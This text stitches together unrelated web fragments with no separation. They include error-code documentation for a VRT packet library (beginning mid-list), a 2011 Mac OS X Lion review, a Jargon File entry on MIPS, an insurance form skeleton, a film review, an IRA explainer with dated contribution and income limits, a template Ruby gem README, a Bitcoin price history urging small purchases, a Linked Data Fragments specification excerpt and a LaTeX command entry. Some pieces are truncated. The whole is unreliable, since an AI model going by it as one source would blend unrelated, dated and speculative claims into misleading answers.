TSF is VRT_TSF_REAL_TIME but fractional timestamp is outside valid bounds (><PHONE_NUMBER>99 ps).
-
enumerator VRT_ERR_BOUNDS_PACKET_COUNT¶
Packet count is outside valid bounds (> 0x0F).
-
enumerator VRT_ERR_BOUNDS_OUI¶
OUI is outside valid bounds (> 0x00FFFFFF).
-
enumerator VRT_ERR_BOUNDS_ASSOCIATED_CONTEXT_PACKET_COUNT¶
Associated context packet count is outside valid bounds (> 0x7F).
-
enumerator VRT_ERR_BOUNDS_BANDWIDTH¶
Bandwidth is outside valid bounds (< 0 Hz or > ~8.79 THz).
-
enumerator VRT_ERR_BOUNDS_IF_REFERENCE_FREQUENCY¶
IF reference frequency is outside valid bounds (< ~-8.79 or > ~8.79 THz).
-
enumerator VRT_ERR_BOUNDS_RF_REFERENCE_FREQUENCY¶
RF reference frequency is outside valid bounds (< ~-8.79 or > ~8.79 THz).
-
enumerator VRT_ERR_BOUNDS_RF_REFERENCE_FREQUENCY_OFFSET¶
RF reference frequency offset is outside valid bounds (< ~-8.79 or > ~8.79 THz).
-
enumerator VRT_ERR_BOUNDS_IF_BAND_OFFSET¶
IF band offset is outside valid bounds (< ~-8.79 or > ~8.79 THz).
-
enumerator VRT_ERR_BOUNDS_REFERENCE_LEVEL¶
Reference level is outside valid bounds (< -256 or > ~256 dBm).
-
enumerator VRT_ERR_BOUNDS_GAIN¶
Gain stage 1 or 2 is outside valid bounds (< -256 or > ~256 dB).
-
enumerator VRT_ERR_GAIN_STAGE2_SET¶
Gain stage 1 must be used instead of stage 2 when only one of them is set.
-
enumerator VRT_ERR_BOUNDS_SAMPLE_RATE¶
Sample rate is outside valid bounds (< 0 Hz or > ~8.79 THz).
-
enumerator VRT_ERR_BOUNDS_TEMPERATURE¶
Temperature is outside valid bounds (< -273.15 or > ~512 degrees C).
-
enumerator VRT_ERR_INVALID_PACKING_METHOD¶
Packing method is an invalid value.
-
enumerator VRT_ERR_INVALID_REAL_OR_COMPLEX¶
Real/Complex is an invalid value.
-
enumerator VRT_ERR_INVALID_DATA_ITEM_FORMAT¶
Data item format is an invalid value.
-
enumerator VRT_ERR_BOUNDS_EVENT_TAG_SIZE¶
Event tag size is outside valid bounds (> 0x07).
-
enumerator VRT_ERR_BOUNDS_CHANNEL_TAG_SIZE¶
Channel tag size is outside valid bounds (> 0x0F).
-
enumerator VRT_ERR_BOUNDS_ITEM_PACKING_FIELD_SIZE¶
Item packing fields size is outside valid bounds (> 0x3F).
-
enumerator VRT_ERR_BOUNDS_DATA_ITEM_SIZE¶
Data item size is outside valid bounds (> 0x3F).
-
enumerator VRT_ERR_SET_INTEGER_SECOND_TIMESTAMP¶
Integer second timestamp is not 0xFFFFFFFF when TSI is VRT_TSI_UNDEFINED.
-
enumerator VRT_ERR_SET_FRACTIONAL_SECOND_TIMESTAMP¶
Fractional second timestamp is not 0xFFFFFFFFFFFFFFFF when TSF is VRT_TSF_UNDEFINED.
-
enumerator VRT_ERR_BOUNDS_LATITUDE¶
Latitude is outside valid bounds (< -90 or > 90 degrees).
-
enumerator VRT_ERR_BOUNDS_LONGITUDE¶
Longitude is outside valid bounds (< -180 or > 180 degrees).
-
enumerator VRT_ERR_BOUNDS_ALTITUDE¶
Altitude is outside valid bounds (< ~-67108 or > ~67108 km).
-
enumerator VRT_ERR_BOUNDS_SPEED_OVER_GROUND¶
Speed over ground is outside valid bounds (< 0 or > ~65536 m/s).
-
enumerator VRT_ERR_BOUNDS_HEADING_ANGLE¶
Heading angle is outside valid bounds (< 0 or > ~360 degrees).
-
enumerator VRT_ERR_BOUNDS_TRACK_ANGLE¶
Track angle is outside valid bounds (< 0 or > ~360 degrees).
-
enumerator VRT_ERR_BOUNDS_MAGNETIC_VARIATION¶
Magnetic variation is outside valid bounds (< -180 or > 180 degrees).
-
enumerator VRT_ERR_BOUNDS_POSITION¶
Position x, y, or z is outside valid bounds (< ~-67108 or > ~67108 km).
-
enumerator VRT_ERR_BOUNDS_ATTITUDE¶
Attitude alpha, beta, or gamma is outside valid bounds (< -512 or > ~512 degrees).
-
enumerator VRT_ERR_BOUNDS_VELOCITY¶
Velocity dx, dy, or dz is outside valid bounds (< -32768 or > ~32768 m/s).
-
enumerator VRT_ERR_BOUNDS_SOURCE_LIST_SIZE¶
Source list size is outside valid bounds (> 0x01FF).
-
enumerator VRT_ERR_BOUNDS_SYSTEM_LIST_SIZE¶
System list size is outside valid bounds (> 0x01FF).
-
enumerator VRT_ERR_BOUNDS_CHANNEL_LIST_SIZE¶
Channel list size is outside valid bounds (> 0x7FFF).
-
enumerator VRT_ERR_BOUNDS_PACKET_SIZE¶
Calculated packet size is outside valid bounds (> 0xFFFF).
-
enumerator VRT_ERR_MISMATCH_PACKET_SIZE¶
Packet size in header and calculated packet size do not match.
-
enumerator VRT_ERR_MISMATCH_TIME_TYPES¶
TSI and/or TSF timestamps differ between packets.
-
enumerator VRT_ERR_MISSING_SAMPLE_RATE¶
Sample rate is required but is not provided (<= 0).
-
enumerator VRT_ERR_BOUNDS_SAMPLE_COUNT¶
Fractional timestamp is outside valid bounds (>= sample rate).
-
enumerator VRT_ERR_INTEGER_SECONDS_MISMATCH¶
Timestamp integer seconds and calculated seconds from the Free running count fractional part differ.
-
enumerator VRT_ERR_EXPECTED_FIELD¶
Expected a field that was not present.
-
enumerator VRT_ERR_BUFFER_SIZE¶


--- layout: post title: Mac OSX Lion review date: 2011-07-20 17:58:16.000000000 -04:00 categories: - Technology tags: [] status: publish type: post published: true meta: _edit_last: '7106425' author: login: samarthbhaskar email<EMAIL_ADDRESS>display_name: samarthbhaskar first_name: '' last_name: '' ---
I downloaded and installed Mac OSX Lion this morning and have been messing around with it today. I don't think I can say any more in a review than John Siracusa of Ars Technica said in his 19-page review but a couple of things that I think are worth noting are listed below.
1. Its pretty remarkable how much Lion borrows from iOS (Apple's mobile OS). Instinctually, I would think a mobile OS is inspired by a desktop OS but with the ubiquity of smart phones and tablets, it makes perfect sense that the flow of innovation is now flowing both ways. This is abundantly clear in features like the new Launchpad which resembles the iOS Springboard, or the central focus on the Mac App Store.
2. The added track-pad gestures are quite great. Since I project my desktop from Macbook Pro to an LCD screen with external mouse and keyboard, I feel like I'm losing out on some functionality by using a traditional mouse. Some of the new gestures can be replicated with a 2-click external mouse, but many that require multiple fingers on the track-pad are best used either with the Macbook Pro track pad or external Magic track pad.
3. While I like to delude myself that I can multi-task well on the computer, I know there are time where the ability to focus my attention on one task is important. The new full-screen feature for almost all apps is great for this. There were many work-arounds for this sort of thing before, but with Lion this feature is available on almost all apps, and you hardly lose any functionality while in full screen mode.
I was also happy with the quick (and relatively cheap) download and upgrade through the App store. Unlike some others who had long waits or slow downloads, from start to finish my download and upgrade took around 40 minutes. I would be much more willing to upgrade or download apps and utilities if the process was this seamless. Looking ahead, it might become even less cumbersome with over-the-air updates in iOS 5 and whatever future iterations of Mac OS we can look forward to.


MIPS
`Prev `__
M
`Next `__
--------------
**MIPS**: /mips/, n.
[abbreviation]
1. A measure of computing speed; formally, ‘Million Instructions Per
Second’ (that's ``106`` per second, not ``220``!); often rendered by
hackers as ‘Meaningless Indication of Processor Speed’ or in other
unflattering ways, such as ‘Meaningless Information Provided by
Salesmen’. This joke expresses an attitude nearly universal among
hackers about the value of most `*benchmark* <../B/benchmark.html>`__
claims, said attitude being one of the great cultural divides between
hackers and `*marketroid* `__\ s (see also
`*BogoMIPS* <../B/BogoMIPS.html>`__). The singular is sometimes ‘1 MIP’
even though this is clearly etymologically wrong. See also
`*KIPS* <../K/KIPS.html>`__ and `*GIPS* <../G/GIPS.html>`__.
2. Computers, especially large computers, considered abstractly as
sources of `*computron* <../C/computron.html>`__\ s. “This is just a
workstation; the heavy MIPS are hidden in the basement.”
3. The corporate name of a particular RISC-chip company, later acquired
by SGI.
4. Acronym for ‘Meaningless Information per Second’ (a joke, prob.: from
sense 1).
--------------
+---------------------------------+----------------------------+---------------------------+
| `Prev `__ | `Up <../M.html>`__ | `Next `__ |
+---------------------------------+----------------------------+---------------------------+
| minor detail | `Home <../index.html>`__ | misbug |
+---------------------------------+----------------------------+---------------------------+


--- layout: post title: 3 handy command-line internet speed tests | Opensource.com date: '2020-01-26T01:53:00.001+05:30' author: Sahil Rajput tags: modified_time: '2020-01-26T01:53:36.781+05:30' blogger_id: tag:blogger.com,1999:blog-5250005448924290719.post-1540949758941159536 blogger_orig_url: https://www.jaadujinn.ml/2020/01/3-handy-command-line-internet-speed.html ---


Home
Policies
Motor Insurance
Policy Plans
Application
HINDI
ENG
FAQs
Application Form
All Fields are Compulsory*
Step 1
Step 1
Personal Details
Name (Individual/Corporate)
Address
Aadhaar Number
License Number
Issuing Authority
Regd. Authority Zone
Accident Cover
Yes
No
Valuation Basis
Vehicle Details
Vehicle Type
Vehicle Model
Vehicle Make Year
Manufacturer
Regn. Number
Fuel Type
Carrying Capacity
Payment Details
Bank Name
Branch Name
Account Holder Name
Account Number
IFSC Code
Request OTP
Enter OTP
Make Payment


Les Enfants du paradis (1945)
Grade: 91
"Les Enfants du Paradis" is a French film better known in the United States by its English translation, "Children of Paradise". It is an outstanding film with a great cast, script and story; thoughtfully directed by Marcel Carne.
The plot has the proud, independent Garance (Arletty) choosing between the male leads, all of whom want her. Baptiste (Jean-Louis Barrault) is a talented mime, loved by Nathalie (Maria Casares). Frederick (Pierre Brasseur) is a gregarious actor. Lacenaire (Marcel Herrand) is a playwright turned robber and murderer. Louis Salou plays a wealthy and proud aristocrat. The relationships between the main characters is complex, and evolves over the film, which is about three hours in length.
It is hard to find fault with such an outstanding film, but "Children of Paradise" has a few minor flaws. The character of Garance is supposed to be gorgeous. Arletty has the necessary poise for the role, but she is actually less attractive than Casares. Later, we meet three playwrights who are insulted by Frederick. Two of the authors speak in unison, completing the sentences of the third author. Obviously, these are absurd characters, but they seem out of place in this drama.
There are several plays within a play. These are all quite different in mood. Frederick turns one turgid drama into a satire, and later plays Othello as if filled with hatred. Baptiste's productions are allegorical. His feelings of unrequited love, suicide and murder end up depicted as elaborate onstage productions.
The filming of "Children of Paradise" was interrupted by World War II, and only completed after France was liberated. Many of the cast were members of the French resistance against the Germans.
<EMAIL_ADDRESS>http://members.tripod.com/~Brian_Koller/movies.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Want to become a millionaire someday 💲📈? Two major ways to invest your money to build wealth are two Individual Retirement Accounts: TRADITIONAL IRA and ROTH IRA. You can open just one or both!
In life, we all have to pay TAXES eventually. Both accounts provide TAX ADVANTAGES while growing your money, but the biggest differences are 1. which you qualify for based on your income and 2. how and when you get a tax break.
Now, let's see how much your savings can grow and which IRA wins in the end!
You can open a traditional IRA and Roth IRA at any age as long as you make money from a job or self-employment. If you are below 18, you may need your parent or guardian's help.
To qualify for a Roth IRA, you must make less than $140,000 per year before taxes. On the other hand, there is no income limit for a Traditional IRA! However, these differences influence tax breaks.
For both traditional and Roth IRAs, you can contribute up to $6,000 per year if you are under the age of 50, and you can add money anytime. If you decide to open up both accounts, you can, but the limit is $6,000 combined!
The rules for withdrawing money differ for Traditional IRAs and Roth IRAs.
Let's start with early withdrawals. For traditional IRAs, early withdrawals before the age of 59½ are taxed as income and usually have a 10% penalty. Similarly, withdrawals from a Roth IRA may have some taxes and penalties on earnings depending on what you use the money for.
Now, let's move onto regular withdrawls after the age 59½. For a traditional IRA, these withdrawals are taxed at your retirement tax rate. On the other hand for Roth IRAs, if you have been contributing money for 5+ years, withdrawals are 100% tax-free, penalty-free, and can be taken out anytime!
BOTTOM LINE: Set this money aside to grow more wealth in the long-run 🔥💲📈.
Traditional IRAs and Roth IRAs provide different tax advantages to help you grow your wealth.
Roth IRAs grow Tax-Free: When you contribute to a Roth IRA, you still have to pay taxes on that money. However, you pay no taxes on money you withdraw during retirement! This makes sense if you expect to pay more taxes in retirement than you do now.
Traditional IRAs are Tax-Deferred: When you contribute to a traditional IRA, you get an upfront tax break, meaning that you pay less taxes for that year. However, you'll pay income taxes on withdrawls during retirement. This makes sense if you have pretty high income (and may not qualify for a Roth) and expect to pay less taxes in retirement.
Would you rather pay taxes sooner or later? Take a second to think about the pros and cons of each tax advantage.

The RISK/RETURN TRADE-OFF is that the more aggressive risk you take on, the greater your Rate of Return (RoR) and reward if the investment makes money. On the other hand, if you only take a small risk, you will get a smaller reward. Your RISK TOLERANCE is a personal choice!
For example, if you invest in Coinbase Stock 💰, you may see the value of your account take dips at times. This is okay for IRAs since if you do not need the money here in the near future and want it grow more in the long haul.
Traditional IRAs and Roth IRAs utilize COMPOUNDING 📈, which enables your money grows quickly especially when you start early.
Now, let's see how their balance grows over time and see who won the Battle of the IRAs based on your inputs!


ArcherSysOSApplication
Welcome to your new gem! In this directory, you'll find the files you
need to be able to package up your Ruby library into a gem. Put your Ruby
code in the file lib/ArcherSysOSApplication
. To experiment
with that code, run bin/console
for an interactive prompt.
TODO: Delete this and the text above, and describe your gem
Installation
Add this line to your application's Gemfile:
gem 'ArcherSysOSApplication'
And then execute:
$ bundle
Or install it yourself as:
$ gem install ArcherSysOSApplication
Usage
TODO: Write usage instructions here
Development
After checking out the repo, run bin/setup
to install
dependencies. Then, run bin/console
for an interactive prompt
that will allow you to experiment.
To install this gem onto your local machine, run bundle exec rake
install
. To release a new version, update the version number in
version.rb
, and then run bundle exec rake release
to create a git tag for the version, push git commits and tags, and push
the .gem
file to rubygems.org.
Contributing
-
Fork it ( github.com/[my-github-username]/ArcherSysOSApplication/fork )
-
Create your feature branch (
git checkout -b my-new-feature
) -
Commit your changes (
git commit -am 'Add some feature'
) -
Push to the branch (
git push origin my-new-feature
) -
Create a new Pull Request


---
layout: default
---
Bitcoin Price
The Bitcoin price has been highly unpredictable but has proven to be one of the best speculations ever with multiple years having returns in excess of 5,000% each.
{% include widget_price.html %}
2009-2012 - The Early Days
When Satoshi released the software in January 2009 there was no Bitcoin price. On Aug. 27, 2010 he proposed:
As a thought experiment, imagine there was a base metal as scarce as gold but with the following properties:
- boring grey in colour
- not a good conductor of electricity
- not particularly strong, but not ductile or easily malleable either
- not useful for any practical or ornamental purpose and one special, magical property:
- can be transported over a communications channel
If it somehow acquired any value at all for whatever reason, then anyone wanting to transfer wealth over a long distance could buy some, transmit it, and have the recipient sell it.
Maybe it could get an initial value circularly as you’ve suggested, by people foreseeing its potential usefulness for exchange. (I would definitely want some) Maybe collectors, any random reason could spark it.
After a couple years bitcoins traded for about $0.30 on January 1, 2011, went to $31.50 about six months later and ended the year at $4.25. 2012 proved to be a less volatile year with the Bitcoin price staying under $15.
2013 - The Insane Bitcoin Price
But 2013 is a year to remember in Bitcoin. The Bitcoin price started January around $13.25, hit $266 in April, crashed to $50 a week later, consolidated for about six months and then after the United States Senate hearings on Bitcoin launched to the moon and briefly reached $1,240 before ending the year at around $800.
2014 - The Long Grind
2014 saw this downtrend and consolidation continue with the Bitcoin price and ended around $325. This was primarily a year of making Bitcoin easier to use with infrastructure being built with more than $300 million of venture capital investment being announced. Additionally, there appeared to be a bubble with mining equipment that got corrected.
2015 - Continued Building
2015 has seen a fairly stable Bitcoin price but what is really exciting is that in the first quarter over $175 million of venture capital investment was announced. Just like the Internet in 1994 was difficult to use and required substantial venture capital investment to be made useful so likewise is Bitcoin's usefulness and utility currently being built out.
Conclusion
The lesson may be to never invest more than you are willing to lose. The Bitcoin price is highly volatile and the highly promising blockchain technology that for the first time in history enables distributed consensus, triple-entry bookkeeping and programmable trust by being able to transfer value over a communications channel is still being proven.
However, it may be wise to take Satoshi's advice to buy a little Bitcoin just in case it becomes something. Plus, developing the technical literacy to do so is valuable. There was a time when everyone had to learn how to send an email.


This document describes Linked Data Fragments, a uniform view on all possible interfaces to publish Linked Data on the Web. It defines Linked Data Fragments, and servers and clients thereof. In addition, it explains how existing interfaces (data dumps, Linked Data documents, SPARQL endpoints, …) fit into this uniform view.
This specification was published by the Hydra W3C Community Group. It is not a W3C Standard nor is it on the W3C Standards Track. Please note that under the W3C Community Contributor License Agreement (CLA) there is a limited opt-out and other conditions apply. Learn more about W3C Community and Business Groups.
To participate in the development of this specification, please join the Hydra W3C Community Group. If you have questions, want to suggest a feature, or raise an issue, please send a mail to the<EMAIL_ADDRESS>mailing list.
On the Web, machines can access, browse, and query Linked Data in various ways. For instance, they can extract RDFa data from HTML pages, download a large dataset in Turtle, or query a SPARQL endpoint.
The goal of Linked Data Fragments is to provide a uniform view on all current and future ways of publishing Linked Data on the Web. We want to provide a framework that can characterize all Linked Data interfaces in order to allow qualitative and quantitative comparisons. Furthermore, we want to stimulate the development of new kinds of interfaces that address the current and emerging needs of the Semantic Web.
Triples in this document are expressed in the Turtle RDF syntax [[!turtle]]. This document uses the following namespace prefixes:
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>. @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#>. @prefix dbpedia: <http://dbpedia.org/resource/>. @prefix dbpedia-owl: <http://dbpedia.org/ontology/>.
A Linked Data dataset [[!void]] is a collection of RDF triples [[!RDF-CONCEPTS]] that are published, maintained or aggregated by a single provider.
A Linked Data Fragment of a Linked Data dataset is the subset of this dataset that matches a specific selector, together with optional metadata and optional hypermedia controls for these triples and/or the dataset itself.
Any proper or improper subset of a Linked Data dataset, regardless of how this subset was created, is thus by definition a Linked Data Fragment. Larger Linked Data Fragments can be paged.
A selector of a Linked Data Fragment is a boolean function that decides whether or not a certain triple or graph of triples of the corresponding dataset is part of that fragment. A selector type is a class of selectors with similar characteristics.
In the general definition of a Linked Data Fragment, there are no restrictions on what these selectors should look like. They could be triple patterns, basic graph patterns, SPARQL queries [[!RDF-SPARQL-QUERY]], or even natural language queries. Specific elector types help us characterize various kinds of Linked Data Fragments.
Metadata of a Linked Data Fragment or dataset consists of information about the data of that fragment or dataset, without being part of the triples in the dataset itself. Some Linked Data Fragments might have an empty metadata set.
A hypermedia control is a function that generates an HTTP URL [[!RFC3986]] based on zero or more arguments. In particular, a hyperlink is a zero-argument function (i.e., a URL), and a hypermedia form is a multi-argument function. Some Linked Data Fragments might have an empty hypermedia control set.
Finally, a Linked Data Fragment type is a class of those Linked Data Fragments that share common rules with regard to their selector type, metadata set, and hypermedia control set.
Common Linked Data Fragment types are listed in the next section.
A Linked Data Fragments server is an HTTP server [[!RFC2616]] that offers all possible Linked Data Fragments of one or more specific Linked Data Fragment types of one or more datasets. It MUST support at least one triple-based representation for each fragment.
A Linked Data Fragments client is an HTTP client that can access Linked Data Fragments of at least one specific Linked Data Fragments type. It SHOULD be able to consume at least one triple-based representation of the fragments it supports.
Since the goal of Linked Data Fragments is to provide a uniform view on Linked Data interfaces on the Web, we will describe how existing types of Linked Data interfaces fit into the Linked Data Fragments definition. As each fragment is characterized by its selector, metadata set and control set, we will define interfaces through those aspects.
A data dump of a dataset can be defined as a Linked Data Fragment with the following characteristics:
f(t) = true
for all triples t
.
In other words,
a data dump is an RDF representation
of all triples of its dataset.
Many publishers of Linked Data offer such downloadable data dumps of their datasets. They can be used to set up a local triple store.
A Linked Data document of a dataset can be defined as a Linked Data Fragment with the following characteristics:
{ <s> ?p ?o. }
and possibly contains triples matching { ?o ?p <s>. }
,
with <s>
the chosen entity argument.
Linked Data documents can be used to browse a dataset, or to execute queries using link-traversal-based query execution.
A SPARQL query result of a dataset can be defined as a Linked Data Fragment with the following characteristics:
CONSTRUCT
query,
so the data consists of those triples that result from executing this query.
SPARQL results allow to extract very specific fragments of a dataset.
Note that only results of CONSTRUCT
(and thus not SELECT
or ASK
) SPARQL queries
are considered Linked Data Fragments.
This is because only the execution of CONSTRUCT
queries
results in data triples.
However, the CONSTRUCT
query can contain SELECT
subqueries.
The fact that a SPARQL query result is a Linked Data Fragment means that each SPARQL endpoint is, by definition, a Linked Data Fragments server.
A triple pattern fragment (also known as basic Linked Data Fragment) is a Linked Data Fragment with the following characteristics:
{ ?s ?p ?o. }
, in which each of the three components
can be variable or constant.
The data consists of those triples that match the triple pattern.
Triple pattern fragments can be used to browse a dataset with more flexibility than Linked Data documents. They can also be used to solve more complex queries, such as SPARQL queries, on the client side.
Triple pattern fragments are described in detail in a separate document.


The \vfill fill command produces a rubber length which can stretch or shrink vertically. It is equivalent to a blank line followed by \vspace\fill. It should be used only in paragraph mode.
See Spaces and Boxes,
Lengths
Back to the Table of Contents